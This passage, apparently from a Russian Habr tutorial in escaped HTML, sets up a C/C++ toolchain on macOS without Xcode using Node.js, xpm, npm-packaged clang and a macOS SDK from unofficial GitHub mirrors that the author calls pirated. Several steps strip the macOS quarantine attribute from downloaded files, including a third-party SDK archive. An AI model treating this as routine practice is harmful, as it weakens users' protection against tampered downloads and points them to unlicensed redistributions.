src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8c7\/2e6\/123\/8c72e61233dacf4be551864bb3caafc3.png\" width=\"369\" height=\"363\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8c7\/2e6\/123\/8c72e61233dacf4be551864bb3caafc3.png\"\/><\/figure>\n<p>\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b79\/328\/39d\/b7932839d53acad056fdd1c6c0a4976d.png\" width=\"905\" height=\"243\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b79\/328\/39d\/b7932839d53acad056fdd1c6c0a4976d.png\"\/><\/figure>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e \u0434\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043b\u0435\u0433\u043a\u043e \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439:<\/p>\n<pre><code class=\"bash\"> xattr -d com.apple.quarantine .\/ld64.lld<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3c5\/66d\/6f2\/3c566d6f23e1d011f53fc7f5df7aad74.png\" width=\"949\" height=\"287\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3c5\/66d\/6f2\/3c566d6f23e1d011f53fc7f5df7aad74.png\"\/><\/figure>\n<p>\u0418\u043c\u0435\u0439\u0442\u0435 \u0432\u0432\u0438\u0434\u0443 \u0447\u0442\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430 \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430\u00a0\u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0440\u0445\u0438\u0432\u0430 \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0435\u0441\u043b\u0438 \u043d\u0435\u00a0\u0431\u044b\u043b \u0441\u043d\u044f\u0442 \u0441 \u0441\u0430\u043c\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043d\u0438\u043c\u0430\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430 \u0441\u00a0\u0430\u0440\u0445\u0438\u0432\u0430<strong> \u0434\u043e\u00a0\u0435\u0433\u043e \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438<\/strong>, \u0430\u00a0\u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0440\u0445\u0438\u0432\u044b \u043c\u044b\u00a0\u0438\u00a0\u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u041f\u041e\u00a0\u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0437\u0434\u0435\u0441\u044c \u0438\u00a0\u0434\u0430\u043b\u0435\u0435 \u044f\u00a0\u0431\u0443\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 <strong>x86_64<\/strong>, \u043a\u0430\u043a \u0441\u0430\u043c\u0443\u044e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0443\u044e. <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0443\u00a0\u0432\u0430\u0441 \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u043c\u0430\u043a \u043d\u0430\u00a0M1\u00a0\u2014 \u0432\u00a0\u043d\u0435\u043c \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 x86_64 \u0438\u00a0\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0438 \u043f\u043e\u0434 \u044d\u0442\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 \u0431\u0443\u0434\u0443\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c\u0441\u044f.<\/p>\n<h3>Node.js<\/h3>\n<p>\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 Safari \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0435 \u0441 <a href=\"https:\/\/nodejs.org\/en\/download\/\" rel=\"noopener noreferrer nofollow\">\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430<\/a> \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u0431\u0438\u043d\u0430\u0440\u043d\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443, \u0432\u0435\u0440\u0441\u0438\u044e \u0432 \u0430\u0440\u0445\u0438\u0432\u0435 (\u043d\u0435 \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u044f\u0442\u043e\u0440), \u043f\u0440\u044f\u043c\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f <a href=\"https:\/\/nodejs.org\/dist\/v20.11.1\/node-v20.11.1-darwin-x64.tar.gz\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442<\/a>.<\/p>\n<p>Safari \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0435\u0431\u044f \u0443\u043c\u043d\u0435\u0435 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (\u0438 \u043d\u0435\u00a0\u0431\u0435\u0437\u00a0\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0439), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043f\u0430\u043a\u0443\u0435\u0442 \u0430\u0440\u0445\u0438\u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u00a0\u2014 \u043f\u043e\u0441\u043b\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0444\u0430\u0439\u043b\u0430 <em>.tar.gz<\/em> \u0443\u00a0\u0432\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e<em>.tar<\/em>. <\/p>\n<p>\u0421\u043d\u0438\u043c\u0430\u0435\u043c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430 \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c:<\/p>\n<pre><code class=\"bash\">xattr -d com.apple.quarantine ~\/Downloads\/node-v20.11.1-darwin-x64.tar  tar xvf  ~\/Downloads\/node-v20.11.1-darwin-x64.tar <\/code><\/pre>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c bash \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0441 Node.js \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e PATH:<\/p>\n<pre><code class=\"bash\">export PATH=~\/work\/node-v20.11.1-darwin-x64\/bin:$PATH<\/code><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0447\u0442\u043e node \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"bash\">node -v<\/code><\/pre>\n<p>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u0448\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u0441\u044f \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 Node.js.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 Node.js \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 NPM:<\/p>\n<pre><code class=\"bash\">npm -v<\/code><\/pre>\n<p>\u042d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0445\u0432\u0430\u0442\u0438\u0442 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 Node.js, \u0442\u0430\u043a \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c.<\/p>\n<h3>XPM<\/h3>\n<p>\u0412\u043e\u0442 \u043f\u0440\u043e<a href=\"https:\/\/xpack.github.io\/\" rel=\"noopener noreferrer nofollow\"> \u044d\u0442\u0443 \u0448\u0442\u0443\u043a\u0443<\/a> \u0432\u044b \u0442\u043e\u0447\u043d\u043e \u043d\u0435 \u0437\u043d\u0430\u043b\u0438:<\/p>\n<blockquote>\n<p>Based on a simple multi-version dependencies manager (built on top of <strong>npm<\/strong>), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on <strong>C\/C++<\/strong> and bare-metal embedded projects.<\/p>\n<\/blockquote>\n<p>\u0421\u0438\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u0443\u043c\u0440\u0430\u0447\u043d\u043e\u0433\u043e \u0433\u0435\u043d\u0438\u044f\u00a0\u2014 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 <em>npm<\/em> \u0434\u043b\u044f <strong>\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 <\/strong>\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438\u00a0\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.<\/p>\n<p>\u0421\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0447\u0443\u0434\u0435\u0441\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0434\u043b\u044f \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u00a0C\/C++ \u043f\u043e\u0434 \u043c\u0430\u043a\u043e\u043c\u00a0\u2014 \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u0438\u0445 XCode \u0438\u00a0\u043f\u0440\u043e\u0447\u0435\u0439 \u0445\u0442\u043e\u043d\u0438.<\/p>\n<p>\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c:<\/p>\n<pre><code class=\"bash\">npm install --global xpm@latest<\/code><\/pre>\n<p>\u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435:<\/p>\n<pre><code class=\"bash\"> mkdir testproj  cd testproj  xpm init<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0443\u0441\u0442\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c <em>package.json<\/em> \u0432\u043d\u0443\u0442\u0440\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438. <\/p>\n<blockquote>\n<p><strong>\u041d\u0430\u0442\u0438\u0432\u043d\u044b\u0435<\/strong> \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<\/blockquote>\n<p>\u0427\u0435\u0441\u0442\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f \u043d\u0435 \u0434\u0443\u043c\u0430\u043b \u0447\u0442\u043e \u0434\u043e\u0436\u0438\u0432\u0443 \u0434\u043e \u0442\u043e\u0433\u043e \u0434\u043d\u044f \u043a\u043e\u0433\u0434\u0430 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Clang\" rel=\"noopener noreferrer nofollow\">clang<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/CMake\" rel=\"noopener noreferrer nofollow\">cmake<\/a> \u0438 <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Compiler_Collection\" rel=\"noopener noreferrer nofollow\">gcc<\/a> \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 <a href=\"https:\/\/en.wikipedia.org\/wiki\/NPM\" rel=\"noopener noreferrer nofollow\">NPM<\/a>, \u043d\u043e \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c (\u043f\u0440\u043e\u043a\u043b\u044f\u0442\u044b\u0439 \u0437\u0434\u043e\u0440\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0436\u0438\u0437\u043d\u0438 \u0434\u0430):<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6b7\/86b\/6cc\/6b786b6cc4cbbe2b67a24b4b2c1f99a0.png\" width=\"949\" height=\"777\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6b7\/86b\/6cc\/6b786b6cc4cbbe2b67a24b4b2c1f99a0.png\"\/><\/figure>\n<p>\u0421\u0442\u0430\u0432\u0438\u043c:<\/p>\n<pre><code class=\"bash\">xpm install @xpack-dev-tools\/clang@latest --verbose<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <em>xpacks<\/em>, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <em>.bin<\/em> \u0441 \u0432\u0441\u0435\u043c\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430\u043c\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/464\/625\/ed5\/464625ed529b972fd07cc1f7826a0aa5.png\" width=\"949\" height=\"469\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/464\/625\/ed5\/464625ed529b972fd07cc1f7826a0aa5.png\"\/><\/figure>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0433\u043e \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f PATH:<\/p>\n<pre><code class=\"bash\"> export PATH=.\/xpacks\/.bin:$PATH<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0432\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0435\u0439 \u0432 \u0443\u043b\u044c\u0442\u0438\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c XCode:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ddb\/e9a\/23f\/ddbe9a23f4878544c1f5c484526d2338.png\" width=\"947\" height=\"273\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ddb\/e9a\/23f\/ddbe9a23f4878544c1f5c484526d2338.png\"\/><\/figure>\n<p>\u041d\u043e\u00a0\u043a\u00a0\u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430 <strong>\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e<\/strong> \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u0447\u0435\u0433\u043e-\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0433\u043e, \u043d\u0443\u0436\u043d\u044b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0440\u043e\u0434\u0435 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430. <\/p>\n<blockquote>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f <s>\u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u043b\u044e\u0434\u0435\u0439<\/s> \u043e\u043d\u0438 \u0442\u043e\u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\u00a0XCode \u0438\u00a0\u0432\u00a0\u0447\u0438\u0441\u0442\u043e\u0439 MacOS \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0430\u0447\u0438\u0441\u0442\u043e, \u0432\u00a0\u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432 \u0438\u043b\u0438 *BSD \u0441\u0438\u0441\u0442\u0435\u043c.<\/p>\n<\/blockquote>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e \u0432\u044b\u0445\u043e\u0434 \u0435\u0441\u0442\u044c \u0432 \u0432\u0438\u0434\u0435 (\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435 \u0441\u043c\u0435\u0439\u0442\u0435\u0441\u044c) <strong>\u043f\u0438\u0440\u0430\u0442\u0441\u043a\u0438\u0445<\/strong> \u0432\u044b\u043a\u043b\u0430\u0434\u043e\u043a MacOS SDK \u043d\u0430 <a href=\"https:\/\/github.com\/phracker\/MacOSX-SDKs\/tree\/master?tab=readme-ov-file\" rel=\"noopener noreferrer nofollow\">Github<\/a> (!)<\/p>\n<blockquote>\n<p>\u0427\u0435\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0441\u0432\u0435\u0442\u0435 \u043d\u0435 \u0431\u044b\u0432\u0430\u0435\u0442, \u0435\u0439 \u0431\u043e\u0433\u0443.<\/p>\n<\/blockquote>\n<p>\u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0434\u043b\u044f\u00a0\u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432\u0435\u0440\u0441\u0438\u044e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432\u0437\u044f\u0442\u0443\u044e <a href=\"https:\/\/github.com\/alexey-lysiuk\/macos-sdk\/releases\" rel=\"noopener noreferrer nofollow\">\u0432\u043e\u0442 \u043e\u0442\u0441\u044e\u0434\u0430<\/a>, \u043d\u043e\u00a0\u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0437\u0430\u0447\u0438\u0449\u0430\u044e\u0442. \u0410\u00a0\u0448\u0438\u0440\u043e\u043a\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043a\u0438\u0435 \u043c\u0430\u0441\u0441\u044b \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442 \u043f\u043e\u2011\u043d\u043e\u0432\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u043d\u0443\u0436\u043d\u0430\u044f \u0432\u0435\u0449\u044c \u0434\u043b\u044f\u00a0\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u043f\u043e\u0434\u00a0MacOS, \u0431\u0435\u0437\u00a0\u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0441\u00a0\u043a\u0440\u043e\u0441\u0441 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f ~14\u0413\u0431 \u043f\u0430\u043a\u0435\u0442\u0430 XCode.<\/p>\n<p>\u0418\u0449\u0443\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0432 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a\u0430\u0445:<\/p>\n<pre><code class=\"bash\">github macos sdk<\/code><\/pre>\n<p>\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c <a href=\"https:\/\/github.com\/alexey-lysiuk\/macos-sdk\/releases\/download\/13.3\/MacOSX13.3.tar.xz\" rel=\"noopener noreferrer nofollow\">\u0430\u0440\u0445\u0438\u0432<\/a>, \u0441\u043d\u0438\u043c\u0430\u0435\u043c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430 \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c:<\/p>\n<pre><code class=\"bash\"> xattr -d com.apple.quarantine ~\/Downloads\/MacOSX13.3.tar.xz  tar xvzf ~\/Downloads\/MacOSX13.3.tar.xz<\/code><\/pre>\n<p>\u041d\u0430\u00a0\u0430\u0440\u0445\u0438\u0432\u0435 \u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 .xz \u0443\u00a0Safari \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0441\u044c \u0435\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438 \u043d\u0435\u00a0\u0431\u0443\u0434\u0435\u0442 \u0438\u00a0\u0430\u0440\u0445\u0438\u0432 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0441\u0442\u044c.<\/p>\n<p>\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 (TextEdit), \u0432\u0432\u043e\u0434\u0438\u043c \u0432\u043e\u0442 